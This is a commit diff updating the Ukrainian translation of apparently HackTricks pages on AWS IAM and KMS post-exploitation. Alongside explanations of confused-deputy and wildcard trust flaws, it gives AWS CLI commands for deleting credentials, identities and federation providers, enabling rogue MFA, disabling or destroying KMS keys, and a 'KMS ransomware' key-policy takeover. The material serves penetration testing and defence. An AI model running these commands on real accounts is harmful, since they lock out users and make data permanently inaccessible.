Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation

2025-12-07 13:20:48 -08:00 · 2025-10-07 09:33:26 +00:00
parent 79597d3ca4
commit 9bcf0e7f08
2 changed files with 169 additions and 39 deletions
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md
@@ -4,23 +4,23 @@

 ## IAM

-Для отримання додаткової інформації про доступ до IAM:
+Для отримання додаткової інформації про доступ IAM:

 {{#ref}}
 ../aws-services/aws-iam-enum.md
 {{#endref}}

-## Проблема заплутаного заступника
+## Confused Deputy Problem

-Якщо ви **дозволяєте зовнішньому обліковому запису (A)** отримати доступ до **ролі** у вашому обліковому записі, ви, ймовірно, матимете **0 видимості** щодо **того, хто точно може отримати доступ до цього зовнішнього облікового запису**. Це проблема, оскільки якщо інший зовнішній обліковий запис (B) може отримати доступ до зовнішнього облікового запису (A), можливо, що **B також зможе отримати доступ до вашого облікового запису**.
+Якщо ви **дозволяєте зовнішньому обліковому запису (A)** отримати доступ до **ролі** у вашому акаунті, ви, ймовірно, матимете **0 видимості** щодо того, **хто саме може отримати доступ до цього зовнішнього облікового запису**. Це проблема, тому що якщо інший зовнішній обліковий запис (B) може отримати доступ до зовнішнього облікового запису (A), то можливо, що **B також зможе отримати доступ до вашого акаунту**.

-Отже, коли ви дозволяєте зовнішньому обліковому запису отримати доступ до ролі у вашому обліковому записі, можливо, ви зможете вказати `ExternalId`. Це "секретний" рядок, який зовнішній обліковий запис (A) **повинен вказати**, щоб **прийняти роль у вашій організації**. Оскільки **зовнішній обліковий запис B не знає цей рядок**, навіть якщо він має доступ до A, він **не зможе отримати доступ до вашої ролі**.
+Тому, дозволяючи зовнішньому обліковому запису доступ до ролі у вашому акаунті, можна вказати `ExternalId`. Це "секретний" рядок, який зовнішній обліковий запис (A) **повинен вказати** для того, щоб **assume the role in your organization**. Оскільки **зовнішній обліковий запис B не знатиме цей рядок**, навіть якщо він має доступ до A, він **не зможе отримати доступ до вашої ролі**.

 <figure><img src="../../../images/image (95).png" alt=""><figcaption></figcaption></figure>

-Однак зверніть увагу, що цей `ExternalId` "секрет" **не є секретом**, будь-хто, хто може **читати політику прийняття ролі IAM, зможе його побачити**. Але поки зовнішній обліковий запис A знає його, а зовнішній обліковий запис **B не знає його**, це **запобігає зловживанню B для доступу до вашої ролі через A**.
+Проте зауважте, що цей `ExternalId` "секрет" **не є секретом**: будь-хто, хто може **прочитати IAM assume role policy**, зможе його побачити. Але поки зовнішній обліковий запис A його знає, а зовнішній обліковий запис **B не знає**, це **перешкоджає B зловживати A, щоб отримати доступ до вашої ролі**.

-Приклад:
+Example:
 ```json
 {
 "Version": "2012-10-17",
@@ -39,11 +39,11 @@
 }
 ```
 > [!WARNING]
-> Щоб зловмисник міг експлуатувати заплутаного заступника, йому потрібно буде якимось чином з'ясувати, чи можуть принципали поточного облікового запису видавати себе за ролі в інших облікових записах.
+> Щоб attacker зміг експлуатувати confused deputy, йому потрібно якимось чином перевірити, чи можуть principals поточного облікового запису impersonate roles в інших облікових записах.

-### Несподівані довіри
+### Несподівані довірчі налаштування

-#### Символи підстановки як принципал
+#### Wildcard як principal
 ```json
 {
 "Action": "sts:AssumeRole",
@@ -53,7 +53,7 @@
 ```
 Ця політика **дозволяє всім AWS** приймати роль.

-#### Служба як основний
+#### Служба як суб'єкт
 ```json
 {
 "Action": "lambda:InvokeFunction",
@@ -62,7 +62,7 @@
 "Resource": "arn:aws:lambda:000000000000:function:foo"
 }
 ```
-Ця політика **дозволяє будь-якому обліковому запису** налаштувати свій apigateway для виклику цього Lambda.
+Ця політика **дозволяє будь-якому акаунту** налаштувати свій apigateway для виклику цієї Lambda.

 #### S3 як принципал
 ```json
@@ -73,7 +73,7 @@
 }
 }
 ```
-Якщо S3 бакет вказаний як принципал, оскільки S3 бакети не мають ідентифікатора облікового запису, якщо ви **видалили свій бакет, а зловмисник створив** його у своєму обліковому записі, то вони могли б це зловживати.
+Якщо S3 bucket вказано як principal — оскільки S3 buckets не мають Account ID — і ви **видалили свій bucket, а зловмисник створив його** у своєму account, то вони можуть цим зловживати.

 #### Не підтримується
 ```json
@@ -84,9 +84,82 @@
 "Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
 }
 ```
-Звичайний спосіб уникнути проблем з Confused Deputy - це використання умови з `AWS:SourceArn` для перевірки вихідного ARN. Однак, **деякі сервіси можуть цього не підтримувати** (наприклад, CloudTrail згідно з деякими джерелами).
+Поширений спосіб уникнути проблем типу "Confused Deputy" — використання умови з `AWS:SourceArn` для перевірки ARN джерела. Однак **деякі сервіси можуть цього не підтримувати** (наприклад, CloudTrail за деякими джерелами).

-## References
+### Видалення облікових даних
+Маючи будь-який із наступних дозволів — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — актор може видалити ключі доступу, профілі входу, SSH-ключі, сервісно-специфічні облікові дані, профілі інстансів, сертифікати або публічні ключі CloudFront, а також від'єднати ролі від профілів інстансів. Такі дії можуть негайно блокувати легітимних користувачів та застосунки й спричиняти відмову в обслуговуванні або втрату доступу для систем, що залежать від цих облікових даних, тому ці IAM-дозволи мають бути суворо обмежені та підлягати моніторингу.
+```bash
+# Remove Access Key of a user
+aws iam delete-access-key \
+--user-name <Username> \
+--access-key-id AKIAIOSFODNN7EXAMPLE
+
+## Remove ssh key of a user
+aws iam delete-ssh-public-key \
+--user-name <Username> \
+--ssh-public-key-id APKAEIBAERJR2EXAMPLE
+```
+### Видалення ідентичностей
+За наявності дозволів, таких як `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole` або `iam:RemoveUserFromGroup`, суб'єкт може видаляти користувачів, ролі або групи — або змінювати членство в групах — видаляючи ідентичності та пов'язані сліди. Це може негайно порушити доступ для людей і сервісів, які залежать від цих ідентичностей, спричиняючи відмову в обслуговуванні або втрату доступу, тому ці дії IAM повинні бути суворо обмежені та моніторені.
+```bash
+# Delete a user
+aws iam delete-user \
+--user-name <Username>
+
+# Delete a group
+aws iam delete-group \
+--group-name <Username>
+
+# Delete a role
+aws iam delete-role \
+--role-name <Role>
+```
+###
+З будь-яким із наведених дозволів — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — особа може видаляти або від'єднувати керовані/вбудовані політики, видаляти версії політик або межі дозволів і відв'язувати політики від користувачів, груп або ролей. Це руйнує авторизації та може змінити модель дозволів, спричиняючи негайну втрату доступу або відмову в обслуговуванні для суб'єктів, які покладалися на ці політики, тому ці дії в IAM мають бути суворо обмежені й підлягати моніторингу.
+```bash
+# Delete a group policy
+aws iam delete-group-policy \
+--group-name <GroupName> \
+--policy-name <PolicyName>
+
+# Delete a role policy
+aws iam delete-role-policy \
+--role-name <RoleName> \
+--policy-name <PolicyName>
+```
+### Видалення федеративної ідентичності
+За допомогою `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider`, and `iam:RemoveClientIDFromOpenIDConnectProvider`, зловмисник може видалити провайдерів ідентичності OIDC/SAML або видалити client IDs. Це порушує федеративну автентифікацію, перешкоджає валідації токенів і негайно блокує доступ користувачів та сервісів, які покладаються на SSO, доки IdP або конфігурації не будуть відновлені.
+```bash
+# Delete OIDCP provider
+aws iam delete-open-id-connect-provider \
+--open-id-connect-provider-arn arn:aws:iam::111122223333:oidc-provider/accounts.google.com
+
+# Delete SAML provider
+aws iam delete-saml-provider \
+--saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS
+```
+### Несанкціонована активація MFA
+За допомогою `iam:EnableMFADevice` зловмисник може зареєструвати MFA-пристрій в обліковому записі користувача, перешкоджаючи законному користувачеві увійти. Після активації несанкціонованого MFA користувач може бути заблокований до видалення або скидання пристрою (примітка: якщо зареєстровано кілька MFA-пристроїв, для входу достатньо одного, тож ця атака не вплине на відмову в доступі).
+```bash
+aws iam enable-mfa-device \
+--user-name <Username> \
+--serial-number arn:aws:iam::111122223333:mfa/alice \
+--authentication-code1 123456 \
+--authentication-code2 789012
+```
+### Підміна метаданих сертифікатів/ключів
+За допомогою `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate` зловмисник може змінити статус або метадані публічних ключів та сертифікатів. Позначивши ключі/сертифікати як неактивні або змінивши посилання на них, він може порушити аутентифікацію SSH, анулювати перевірки X.509/TLS і негайно зірвати роботу сервісів, що залежать від цих облікових даних, спричинивши втрату доступу або доступності.
+```bash
+aws iam update-ssh-public-key \
+--user-name <Username> \
+--ssh-public-key-id APKAEIBAERJR2EXAMPLE \
+--status Inactive
+
+aws iam update-server-certificate \
+--server-certificate-name <Certificate_Name> \
+--new-path /prod/
+```
+## Посилання

 - [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html)

--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md
@@ -1,26 +1,26 @@
-# AWS - KMS Постексплуатація
+# AWS - KMS Post Exploitation

 {{#include ../../../banners/hacktricks-training.md}}

 ## KMS

-Для отримання додаткової інформації перегляньте:
+For more information check:

 {{#ref}}
 ../aws-services/aws-kms-enum.md
 {{#endref}}

-### Шифрування/Дешифрування інформації
+### Encrypt/Decrypt information

-`fileb://` та `file://` є схемами URI, які використовуються в командах AWS CLI для вказівки шляху до локальних файлів:
+`fileb://` and `file://` are URI schemes used in AWS CLI commands to specify the path to local files:

- `fileb://:` Читає файл у бінарному режимі, зазвичай використовується для небінарних файлів.
+- `fileb://:` Читає файл у бінарному режимі, зазвичай використовується для non-text файлів.
 - `file://:` Читає файл у текстовому режимі, зазвичай використовується для простих текстових файлів, скриптів або JSON, які не мають спеціальних вимог до кодування.

 > [!TIP]
-> Зверніть увагу, що якщо ви хочете дешифрувати деякі дані всередині файлу, файл повинен містити бінарні дані, а не дані, закодовані в base64. (fileb://)
+> Зверніть увагу, що якщо ви хочете розшифрувати деякі дані всередині файлу, файл має містити бінарні дані, а не base64-кодовані дані. (fileb://)

- Використовуючи **симетричний** ключ
+- Using a **symmetric** key
 ```bash
 # Encrypt data
 aws kms encrypt \
@@ -38,7 +38,7 @@ aws kms decrypt \
 --query Plaintext | base64 \
 --decode
 ```
- Використовуючи **асиметричний** ключ:
+- Використання **асиметричного** ключа:
 ```bash
 # Encrypt data
 aws kms encrypt \
@@ -60,14 +60,14 @@ aws kms decrypt \
 ```
 ### KMS Ransomware

-Атакуючий з привілейованим доступом до KMS може змінити політику KMS ключів і **надати своєму обліковому запису доступ до них**, видаливши доступ, наданий легітимному обліковому запису.
+Атакуючий із привілейованим доступом до KMS може змінити політику KMS для ключів і **надати своєму обліковому запису доступ до них**, одночасно видаливши доступ, наданий легітимному обліковому запису.

-Тоді користувачі легітимного облікового запису не зможуть отримати доступ до будь-якої інформації будь-якої служби, яка була зашифрована цими ключами, створюючи простий, але ефективний програмний забезпечення для викупу над обліковим записом.
+Тоді користувачі легітимного облікового запису не зможуть отримати доступ до жодної інформації будь-якого сервісу, зашифрованої цими ключами, створюючи простий, але ефективний ransomware проти облікового запису.

 > [!WARNING]
-> Зверніть увагу, що **управляючі ключі AWS не підлягають** цій атаці, лише **управляючі ключі клієнта**.
-
-> Також зверніть увагу на необхідність використання параметра **`--bypass-policy-lockout-safety-check`** (відсутність цієї опції в веб-консолі робить цю атаку можливою лише з CLI).
+> Зауважте, що **AWS managed keys не зачеплені** цим нападом, лише **Customer managed keys**.
+>
+> Також зверніть увагу на необхідність використання параметра **`--bypass-policy-lockout-safety-check`** (відсутність цієї опції у веб-консолі робить цю атаку можливою лише з CLI).
 ```bash
 # Force policy change
 aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
@@ -92,34 +92,91 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
 }
 ```
 > [!CAUTION]
-> Зверніть увагу, що якщо ви зміните цю політику і надасте доступ лише зовнішньому обліковому запису, а потім з цього зовнішнього облікового запису спробуєте встановити нову політику, щоб **повернути доступ до оригінального облікового запису, ви не зможете, оскільки дія Put Policy не може бути виконана з крос-облікового запису**.
+> Зверніть увагу, що якщо ви зміните цю політику й надасте доступ лише зовнішньому акаунту, а потім з цього зовнішнього акаунту спробуєте встановити нову політику, щоб **повернути доступ до оригінального акаунту, у вас не вийде, бо дія Put Polocy не може бути виконана з крос-акаунту**.

 <figure><img src="../../../images/image (77).png" alt=""><figcaption></figcaption></figure>

-### Загальний KMS Ransomware
+### Generic KMS Ransomware

-#### Глобальний KMS Ransomware
+Існує ще один спосіб виконати глобальний KMS Ransomware, який передбачає такі кроки:

-Існує інший спосіб виконання глобального KMS Ransomware, який включатиме наступні кроки:
+- Створити новий **ключ із матеріалом ключа**, імпортованим зловмисником
+- **Пере-шифрувати старі дані** жертви, зашифровані попередньою версією, новим ключем
+- **Видалити KMS key**
+- Тепер тільки зловмисник, який має оригінальний матеріал ключа, зможе розшифрувати зашифровані дані

- Створити новий **ключ з матеріалом ключа**, імпортованим зловмисником
- **Зашифрувати старі дані** знову, зашифровані попередньою версією, новою.
- **Видалити KMS ключ**
- Тепер лише зловмисник, який має оригінальний матеріал ключа, зможе розшифрувати зашифровані дані
+### Delete Keys via kms:DeleteImportedKeyMaterial

-### Знищити ключі
+З дозволом `kms:DeleteImportedKeyMaterial` актор може видаляти імпортований матеріал ключа з CMKs з `Origin=EXTERNAL` (CMKs, які імпортували свій матеріал ключа), роблячи їх нездатними розшифрувати дані. Ця дія є руйнівною й незворотною, якщо не буде повторно імпортовано сумісний матеріал, що дозволяє зловмиснику фактично спричинити ransomware-подібну втрату даних, зробивши зашифровану інформацію постійно недоступною.
 ```bash
-# Destoy they key material previously imported making the key useless
-aws kms delete-imported-key-material --key-id 1234abcd-12ab-34cd-56ef-1234567890ab
+aws kms delete-imported-key-material --key-id <Key_ID>
+```
+### Знищення ключів

+Знищення ключів може призвести до DoS.
+```bash
 # Schedule the destoy of a key (min wait time is 7 days)
 aws kms schedule-key-deletion \
 --key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
 --pending-window-in-days 7
 ```
 > [!CAUTION]
-> Зверніть увагу, що AWS тепер **запобігає виконанню попередніх дій з крос-акаунтів:**
+> Зверніть увагу, що AWS тепер **не дозволяє виконувати попередні дії з cross-account:**

+### Зміна або видалення Alias
+Ця атака видаляє або перенаправляє AWS KMS aliases, порушуючи розв'язання ключів та спричиняючи негайні збої в будь-яких сервісах, що покладаються на ці aliases, внаслідок чого виникає відмова в обслуговуванні. Маючи дозволи на кшталт `kms:DeleteAlias` або `kms:UpdateAlias`, атакувальник може видалити або перенаправити aliases і порушити криптографічні операції (e.g., encrypt, describe). Будь-який сервіс, який посилається на alias замість key ID, може не працювати, поки alias не буде відновлено або правильно перенаправлено.
+```bash
+# Delete Alias
+aws kms delete-alias --alias-name alias/<key_alias>
+
+# Update Alias
+aws kms update-alias \
+--alias-name alias/<key_alias> \
+--target-key-id <new_target_key>
+```
+### Cancel Key Deletion
+Маючи дозволи, наприклад `kms:CancelKeyDeletion` та `kms:EnableKey`, зловмисник може скасувати заплановане видалення AWS KMS customer master key і пізніше знову його увімкнути. Це відновлює ключ (спочатку в Disabled state) і відновлює його здатність дешифрувати раніше захищені дані, що дозволяє exfiltration.
+```bash
+# Firts cancel de deletion
+aws kms cancel-key-deletion \
+--key-id <Key_ID>
+
+## Second enable the key
+aws kms enable-key \
+--key-id <Key_ID>
+```
+### Вимкнення ключа
+Маючи дозвіл `kms:DisableKey`, актор може вимкнути AWS KMS customer master key, унеможлививши його використання для шифрування або розшифрування. Це призведе до втрати доступу для будь-яких сервісів, які залежать від цього CMK, і може спричинити негайні збої або denial-of-service до тих пір, поки ключ не буде знову увімкнено.
+```bash
+aws kms disable-key \
+--key-id <key_id>
+```
+### Виведення спільного секрету
+За наявності дозволу `kms:DeriveSharedSecret` актор може використати приватний ключ, що зберігається в KMS, разом із публічним ключем, наданим користувачем, щоб обчислити ECDH-спільний секрет.
+```bash
+aws kms derive-shared-secret \
+--key-id <key_id> \
+--public-key fileb:///<route_to_public_key> \
+--key-agreement-algorithm <algorithm>
+```
+### Impersonation via kms:Sign
+З дозволом `kms:Sign` актор може використовувати KMS-stored CMK для криптографічного підписування даних без розкриття private key, створюючи дійсні підписи, які можуть дозволити impersonation або авторизувати шкідливі дії.
+```bash
+aws kms sign \
+--key-id <key-id> \
+--message fileb://<ruta-al-archivo> \
+--signing-algorithm <algoritmo> \
+--message-type RAW
+```
+### DoS with Custom Key Stores
+З правами, такими як `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore` або `kms:UpdateCustomKeyStore`, зловмисник може змінити, відключити або видалити AWS KMS Custom Key Store (CKS), через що його головні ключі стануть непрацюючими. Це порушує операції шифрування, розшифрування та підписування для будь-яких сервісів, які покладаються на ці ключі, і може спричинити негайний denial-of-service. Тому критично важливо обмежувати та моніторити ці дозволи.
+```bash
+aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
+
+aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
+
+aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>
+```
 <figure><img src="../../../images/image (76).png" alt=""><figcaption></figcaption></figure>

 {{#include ../../../banners/hacktricks-training.md}}